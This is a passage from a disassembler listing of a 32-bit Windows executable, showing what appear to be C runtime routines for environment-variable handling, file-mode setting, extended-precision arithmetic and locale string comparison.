cmp edi, 4
jnz short loc_425A7B
loc_425A68: ; CODE XREF: sub_425955+103j
; sub_425955+10Cj
cmp edi, 8
mov dword_4DBA30, ebx
jnz short loc_425A7B
mov eax, [ebp+arg_0]
mov dword_43D02C, eax
loc_425A7B: ; CODE XREF: sub_425955+111j
; sub_425955+11Cj
xor eax, eax
pop ebx
loc_425A7E: ; CODE XREF: sub_425955+2Cj
; sub_425955+79j
pop edi
pop esi
pop ebp
retn
sub_425955 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_425A82 proc near ; CODE XREF: sub_425955+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43D028
cmp dword_43CFAC, edx
push esi
mov eax, offset dword_43CFA8
jz short loc_425AB0
lea esi, [ecx+ecx*2]
lea esi, ds:43CFA8h[esi*4]
loc_425AA4: ; CODE XREF: sub_425A82+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_425AB0
cmp [eax+4], edx
jnz short loc_425AA4
loc_425AB0: ; CODE XREF: sub_425A82+16j
; sub_425A82+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43CFA8h[ecx*4]
cmp eax, ecx
jnb short loc_425AC4
cmp [eax+4], edx
jz short locret_425AC6
loc_425AC4: ; CODE XREF: sub_425A82+3Bj
xor eax, eax
locret_425AC6: ; CODE XREF: sub_425A82+40j
retn
sub_425A82 endp
; =============== S U B R O U T I N E =======================================
sub_425AC7 proc near ; CODE XREF: sub_4247EC+23p
arg_0 = dword ptr 4
cmp dword_4DCFF0, 0
push ebx
push esi
mov esi, dword_4DB980
push edi
jz short loc_425B3E
test esi, esi
jnz short loc_425AF8
cmp dword_4DB988, esi
jz short loc_425B3E
call sub_425E95
test eax, eax
jnz short loc_425B3E
mov esi, dword_4DB980
test esi, esi
jz short loc_425B3E
loc_425AF8: ; CODE XREF: sub_425AC7+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_425B3E
push ebx
call sub_41AFE0
pop ecx
mov edi, eax
loc_425B09: ; CODE XREF: sub_425AC7+6Dj
mov eax, [esi]
test eax, eax
jz short loc_425B3E
push eax
call sub_41AFE0
cmp eax, edi
pop ecx
jbe short loc_425B31
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_425B31
push edi
push ebx
push eax
call sub_425E56
add esp, 0Ch
test eax, eax
jz short loc_425B36
loc_425B31: ; CODE XREF: sub_425AC7+51j
; sub_425AC7+59j
add esi, 4
jmp short loc_425B09
; ---------------------------------------------------------------------------
loc_425B36: ; CODE XREF: sub_425AC7+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_425B40
; ---------------------------------------------------------------------------
loc_425B3E: ; CODE XREF: sub_425AC7+10j
; sub_425AC7+1Cj ...
xor eax, eax
loc_425B40: ; CODE XREF: sub_425AC7+75j
pop edi
pop esi
pop ebx
retn
sub_425AC7 endp
; =============== S U B R O U T I N E =======================================
sub_425B44 proc near ; CODE XREF: sub_424F0A+8Bp
; sub_424F0A+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DCDA0
jnb short loc_425BAB
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DCCA0[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_425BAB
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_425B84
and cl, 7Fh
jmp short loc_425B91
; ---------------------------------------------------------------------------
loc_425B84: ; CODE XREF: sub_425B44+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_425B9F
or cl, 80h
loc_425B91: ; CODE XREF: sub_425B44+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_425B9F: ; CODE XREF: sub_425B44+48j
mov dword_4DB958, 16h
jmp short loc_425BB5
; ---------------------------------------------------------------------------
loc_425BAB: ; CODE XREF: sub_425B44+Bj
; sub_425B44+27j
mov dword_4DB958, 9
loc_425BB5: ; CODE XREF: sub_425B44+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_425B44 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425BBA proc near ; CODE XREF: sub_4256C2+165p
; sub_425DDA+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_425DBA
cmp cx, 7FFFh
jnb loc_425DBA
cmp dx, 0BFFDh
ja loc_425DBA
cmp dx, 3FBFh
ja short loc_425C23
xor eax, eax
jmp short loc_425C5D
; ---------------------------------------------------------------------------
loc_425C23: ; CODE XREF: sub_425BBA+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_425C45
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_425C45
xor eax, eax
cmp [esi+4], eax
jnz short loc_425C47
cmp [esi], eax
jnz short loc_425C47
jmp loc_425DB4
; ---------------------------------------------------------------------------
loc_425C45: ; CODE XREF: sub_425BBA+71j
; sub_425BBA+79j
xor eax, eax
loc_425C47: ; CODE XREF: sub_425BBA+80j
; sub_425BBA+84j
cmp cx, ax
jnz short loc_425C6A
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_425C6A
cmp [ebx+4], eax
jnz short loc_425C6A
cmp [ebx], eax
jnz short loc_425C6A
loc_425C5D: ; CODE XREF: sub_425BBA+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_425DD5
; ---------------------------------------------------------------------------
loc_425C6A: ; CODE XREF: sub_425BBA+90j
; sub_425BBA+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_425C7A: ; CODE XREF: sub_425BBA+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_425CCE
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_425C96: ; CODE XREF: sub_425BBA+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_425050
add esp, 0Ch
test eax, eax
jz short loc_425CC1
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_425CC1: ; CODE XREF: sub_425BBA+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_425C96
loc_425CCE: ; CODE XREF: sub_425BBA+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_425C7A
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_425D11
loc_425CEC: ; CODE XREF: sub_425BBA+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_425D0A
lea eax, [ebp+var_24]
push eax
call sub_4250CF
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_425CEC
loc_425D0A: ; CODE XREF: sub_425BBA+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_425D4A
loc_425D11: ; CODE XREF: sub_425BBA+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_425D4A
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_425D2A: ; CODE XREF: sub_425BBA+184j
test byte ptr [ebp+var_24], 1
jz short loc_425D33
inc [ebp+var_14]
loc_425D33: ; CODE XREF: sub_425BBA+174j
lea eax, [ebp+var_24]
push eax
call sub_4250FD
dec ebx
pop ecx
jnz short loc_425D2A
cmp [ebp+var_14], 0
jz short loc_425D4A
or byte ptr [ebp+var_24], 1
loc_425D4A: ; CODE XREF: sub_425BBA+155j
; sub_425BBA+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_425D61
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_425D96
loc_425D61: ; CODE XREF: sub_425BBA+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_425D93
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_425D8E
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_425D88
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_425D96
; ---------------------------------------------------------------------------
loc_425D88: ; CODE XREF: sub_425BBA+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_425D96
; ---------------------------------------------------------------------------
loc_425D8E: ; CODE XREF: sub_425BBA+1B5j
inc [ebp+var_20+2]
jmp short loc_425D96
; ---------------------------------------------------------------------------
loc_425D93: ; CODE XREF: sub_425BBA+1ABj
inc [ebp+var_24+2]
loc_425D96: ; CODE XREF: sub_425BBA+1A5j
; sub_425BBA+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_425DBA
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_425DB4: ; CODE XREF: sub_425BBA+86j
mov [esi+0Ah], ax
jmp short loc_425DD5
; ---------------------------------------------------------------------------
loc_425DBA: ; CODE XREF: sub_425BBA+42j
; sub_425BBA+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_425DD5: ; CODE XREF: sub_425BBA+ABj
; sub_425BBA+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_425BBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425DDA proc near ; CODE XREF: sub_4251F1+440p
; sub_4256C2+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_43D4A8
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_425E53
jge short loc_425E02
mov eax, [ebp+arg_4]
mov ebx, offset dword_43D608
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_425E02: ; CODE XREF: sub_425DDA+16j
cmp [ebp+arg_8], ecx
jnz short loc_425E0D
mov eax, [ebp+arg_0]
mov [eax], cx
loc_425E0D: ; CODE XREF: sub_425DDA+2Bj
cmp [ebp+arg_4], ecx
jz short loc_425E53
push esi
push edi
loc_425E14: ; CODE XREF: sub_425DDA+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_425E4C
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_425E3F
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_425E3F: ; CODE XREF: sub_425DDA+57j
push esi
push [ebp+arg_0]
call sub_425BBA
pop ecx
pop ecx
xor ecx, ecx
loc_425E4C: ; CODE XREF: sub_425DDA+49j
cmp [ebp+arg_4], ecx
jnz short loc_425E14
pop edi
pop esi
loc_425E53: ; CODE XREF: sub_425DDA+14j
; sub_425DDA+36j
pop ebx
leave
retn
sub_425DDA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425E56 proc near ; CODE XREF: sub_425AC7+5Ep
; sub_426332+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_425E63
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_425E63: ; CODE XREF: sub_425E56+7j
push dword_4DCDA4
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push dword_4DCFC4
call sub_425F03
add esp, 1Ch
test eax, eax
jnz short loc_425E90
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_425E90: ; CODE XREF: sub_425E56+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_425E56 endp
; =============== S U B R O U T I N E =======================================
sub_425E95 proc near ; CODE XREF: sub_425AC7+1Ep
; sub_4261AB+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, dword_4DB988
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_425EF6
mov ebx, dword_42717C
loc_425EAE: ; CODE XREF: sub_425E95+5Fj
push edi
push edi
push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx
mov ebp, eax
cmp ebp, edi
jz short loc_425EFE
push ebp
call sub_41B4D5
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_425EFE
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx
test eax, eax
jz short loc_425EFE
push edi
push [esp+18h+var_4]
call sub_4261AB
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_425EAE
loc_425EF6: ; CODE XREF: sub_425E95+11j
xor eax, eax
loc_425EF8: ; CODE XREF: sub_425E95+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_425EFE: ; CODE XREF: sub_425E95+29j
; sub_425E95+38j ...
or eax, 0FFFFFFFFh
jmp short loc_425EF8
sub_425E95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425F03 proc near ; CODE XREF: sub_425E56+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427CE8
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp dword_4DBC68, ebx
push 1
pop edi
jnz short loc_425F76
push edi
mov eax, offset dword_427938
push eax
push edi
push eax
push ebx
push ebx
nop
call near ptr 2610000h
test eax, eax
jz short loc_425F53
mov dword_4DBC68, edi
jmp short loc_425F76
; ---------------------------------------------------------------------------
loc_425F53: ; CODE XREF: sub_425F03+46j
push edi
mov eax, offset dword_4CB50C
push eax
push edi
push eax
push ebx
push ebx
nop
call near ptr 26105CBh
test eax, eax
jz loc_42616C
mov dword_4DBC68, 2
loc_425F76: ; CODE XREF: sub_425F03+31j
; sub_425F03+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_425F8D
push esi
push [ebp+arg_8]
call sub_426180
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_425F8D: ; CODE XREF: sub_425F03+78j
cmp [ebp+arg_14], ebx
jle short loc_425FA2
push [ebp+arg_14]
push [ebp+arg_10]
call sub_426180
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_425FA2: ; CODE XREF: sub_425F03+8Dj
mov eax, dword_4DBC68
cmp eax, 2
jnz short loc_425FC7
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 26105CBh
jmp loc_42616E
; ---------------------------------------------------------------------------
loc_425FC7: ; CODE XREF: sub_425F03+A7j
cmp eax, edi
jnz loc_42616C
cmp [ebp+arg_18], ebx
jnz short loc_425FDC
mov eax, dword_4DBA24
mov [ebp+arg_18], eax
loc_425FDC: ; CODE XREF: sub_425F03+CFj
cmp esi, ebx
jz short loc_425FE9
cmp [ebp+arg_14], ebx
jnz loc_426081
loc_425FE9: ; CODE XREF: sub_425F03+DBj
cmp esi, [ebp+arg_14]
jnz short loc_425FF6
loc_425FEE: ; CODE XREF: sub_425F03+13Cj
; sub_425F03+16Dj
push 2
loc_425FF0: ; CODE XREF: sub_425F03+146j
pop eax
jmp loc_42616E
; ---------------------------------------------------------------------------
loc_425FF6: ; CODE XREF: sub_425F03+E9j
cmp [ebp+arg_14], edi
jle short loc_426002
loc_425FFB: ; CODE XREF: sub_425F03+151j
; sub_425F03+159j ...
mov eax, edi
jmp loc_42616E
; ---------------------------------------------------------------------------
loc_426002: ; CODE XREF: sub_425F03+F6j
cmp esi, edi
jg short loc_426047
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
nop
call near ptr 2900000h
test eax, eax
jz loc_42616C
cmp esi, ebx
jle short loc_42604B
cmp [ebp+var_3C], 2
jb short loc_426047
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_426047
loc_42602D: ; CODE XREF: sub_425F03+142j
mov dl, [eax+1]
cmp dl, bl
jz short loc_426047
mov ecx, [ebp+arg_8]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_426041
cmp cl, dl
jbe short loc_425FEE
loc_426041: ; CODE XREF: sub_425F03+138j
inc eax
inc eax
cmp [eax], bl
jnz short loc_42602D
loc_426047: ; CODE XREF: sub_425F03+101j
; sub_425F03+120j ...
push 3
jmp short loc_425FF0
; ---------------------------------------------------------------------------
loc_42604B: ; CODE XREF: sub_425F03+11Aj
cmp [ebp+arg_14], ebx
jle short loc_426081
cmp [ebp+var_3C], 2
jb short loc_425FFB
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_425FFB
loc_42605E: ; CODE XREF: sub_425F03+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_425FFB
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_426076
cmp cl, dl
jbe loc_425FEE
loc_426076: ; CODE XREF: sub_425F03+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_42605E
jmp loc_425FFB
; ---------------------------------------------------------------------------
loc_426081: ; CODE XREF: sub_425F03+E0j
; sub_425F03+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
nop
call near ptr 2860000h
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_42616C
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4260D0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_4260D0: ; CODE XREF: sub_425F03+1B5j
cmp [ebp+var_24], ebx
jz loc_42616C
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, dword_427180
call esi
test eax, eax
jz short loc_42616C
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_42616C
mov [ebp+var_4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42613B
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_42613B: ; CODE XREF: sub_425F03+224j
cmp edi, ebx
jz short loc_42616C
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
nop
call near ptr 2860000h
test eax, eax
jz short loc_42616C
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2610000h
jmp short loc_42616E
; ---------------------------------------------------------------------------
loc_42616C: ; CODE XREF: sub_425F03+63j
; sub_425F03+C6j ...
xor eax, eax
loc_42616E: ; CODE XREF: sub_425F03+BFj
; sub_425F03+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_425F03 endp
; =============== S U B R O U T I N E =======================================
sub_426180 proc near ; CODE XREF: sub_422ACA+81p
; sub_425F03+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_42619D
loc_426190: ; CODE XREF: sub_426180+1Bj
cmp byte ptr [eax], 0
jz short loc_42619D
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_426190
loc_42619D: ; CODE XREF: sub_426180+Ej
; sub_426180+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_4261A8
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_4261A8: ; CODE XREF: sub_426180+21j
mov eax, edx
retn
sub_426180 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4261AB proc near ; CODE XREF: sub_425E95+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_42620F
push 3Dh
push [ebp+arg_0]
call sub_4263F1
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_42620F
cmp [ebp+arg_0], esi
jz short loc_42620F
mov eax, dword_4DB980
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, dword_4DB984
jnz short loc_4261F5
push eax
call sub_42638A
pop ecx
mov dword_4DB980, eax
loc_4261F5: ; CODE XREF: sub_4261AB+3Cj
cmp eax, edi
jnz short loc_42624D
cmp [ebp+arg_4], edi
jz short loc_426217
cmp dword_4DB988, edi
jz short loc_426217
call sub_425E95
test eax, eax
jz short loc_42624D
loc_42620F: ; CODE XREF: sub_4261AB+Dj
; sub_4261AB+22j ...
or eax, 0FFFFFFFFh
loc_426212: ; CODE XREF: sub_4261AB+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_426217: ; CODE XREF: sub_4261AB+51j
; sub_4261AB+59j
cmp ebx, edi
jnz loc_42632B
push 4
call sub_41B4D5
cmp eax, edi
pop ecx
mov dword_4DB980, eax
jz short loc_42620F
mov [eax], edi
cmp dword_4DB988, edi
jnz short loc_42624D
push 4
call sub_41B4D5
cmp eax, edi
pop ecx
mov dword_4DB988, eax
jz short loc_42620F
mov [eax], edi
loc_42624D: ; CODE XREF: sub_4261AB+4Cj
; sub_4261AB+62j ...
sub esi, [ebp+arg_0]
mov edi, dword_4DB980
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_426332
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_4262AD
cmp dword ptr [edi], 0
jz short loc_4262AD
test ebx, ebx
jz short loc_4262A5
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_41B0B1
pop ecx
loc_42627F: ; CODE XREF: sub_4261AB+E2j
cmp dword ptr [edi], 0
jz short loc_42628F
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_42627F
; ---------------------------------------------------------------------------
loc_42628F: ; CODE XREF: sub_4261AB+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_41B202
pop ecx
test eax, eax
pop ecx
jz short loc_4262DF
jmp short loc_4262DA
; ---------------------------------------------------------------------------
loc_4262A5: ; CODE XREF: sub_4261AB+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_4262DF
; ---------------------------------------------------------------------------
loc_4262AD: ; CODE XREF: sub_4261AB+BDj
; sub_4261AB+C2j
test ebx, ebx
jnz short loc_42632B
test esi, esi
jge short loc_4262B7
neg esi
loc_4262B7: ; CODE XREF: sub_4261AB+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_41B202
pop ecx
test eax, eax
pop ecx
jz loc_42620F
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_4262DA: ; CODE XREF: sub_4261AB+F8j
mov dword_4DB980, eax
loc_4262DF: ; CODE XREF: sub_4261AB+F6j
; sub_4261AB+100j
cmp [ebp+arg_4], 0
jz short loc_42632B
push [ebp+arg_0]
call sub_41AFE0
inc eax
inc eax
push eax
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_42632B
push [ebp+arg_0]
push esi
call sub_41BEB0
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
nop
call near ptr 2600000h
push esi
call sub_41B0B1
pop ecx
loc_42632B: ; CODE XREF: sub_4261AB+6Ej
; sub_4261AB+104j ...
xor eax, eax
jmp loc_426212
sub_4261AB endp
; =============== S U B R O U T I N E =======================================
sub_426332 proc near ; CODE XREF: sub_4261AB+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, dword_4DB980
push edi
mov eax, [esi]
test eax, eax
jz short loc_42636D
mov edi, [esp+8+arg_4]
loc_426344: ; CODE XREF: sub_426332+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_425E56
add esp, 0Ch
test eax, eax
jnz short loc_426363
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_42637D
test al, al
jz short loc_42637D
loc_426363: ; CODE XREF: sub_426332+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_426344
loc_42636D: ; CODE XREF: sub_426332+Cj
mov eax, esi
sub eax, dword_4DB980
sar eax, 2
neg eax
loc_42637A: ; CODE XREF: sub_426332+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42637D: ; CODE XREF: sub_426332+2Bj
; sub_426332+2Fj
mov eax, esi
sub eax, dword_4DB980
sar eax, 2
jmp short loc_42637A
sub_426332 endp
; =============== S U B R O U T I N E =======================================
sub_42638A proc near ; CODE XREF: sub_4261AB+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_426399
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_426399: ; CODE XREF: sub_42638A+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_4263AB
loc_4263A1: ; CODE XREF: sub_42638A+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_4263A1
loc_4263AB: ; CODE XREF: sub_42638A+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_4263CC
push 9
call sub_41DA29
pop ecx
loc_4263CC: ; CODE XREF: sub_42638A+38j
mov eax, [edi]
mov ebx, edi
loc_4263D0: ; CODE XREF: sub_42638A+5Bj
test eax, eax
jz short loc_4263E7
push eax
add ebx, 4
call sub_426464
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_4263D0
; ---------------------------------------------------------------------------
loc_4263E7: ; CODE XREF: sub_42638A+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_42638A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4263F1 proc near ; CODE XREF: sub_4261AB+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp dword_4DCDBC, 0
jnz short loc_42640C
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41BFB0
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42640C: ; CODE XREF: sub_4263F1+Aj
mov ecx, [ebp+arg_0]
loc_42640F: ; CODE XREF: sub_4263F1+56j
movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_426452
movzx edx, al
test byte_4DCEC1[edx], 4
jz short loc_42643E
mov dl, [ecx+1]
inc ecx
test dl, dl
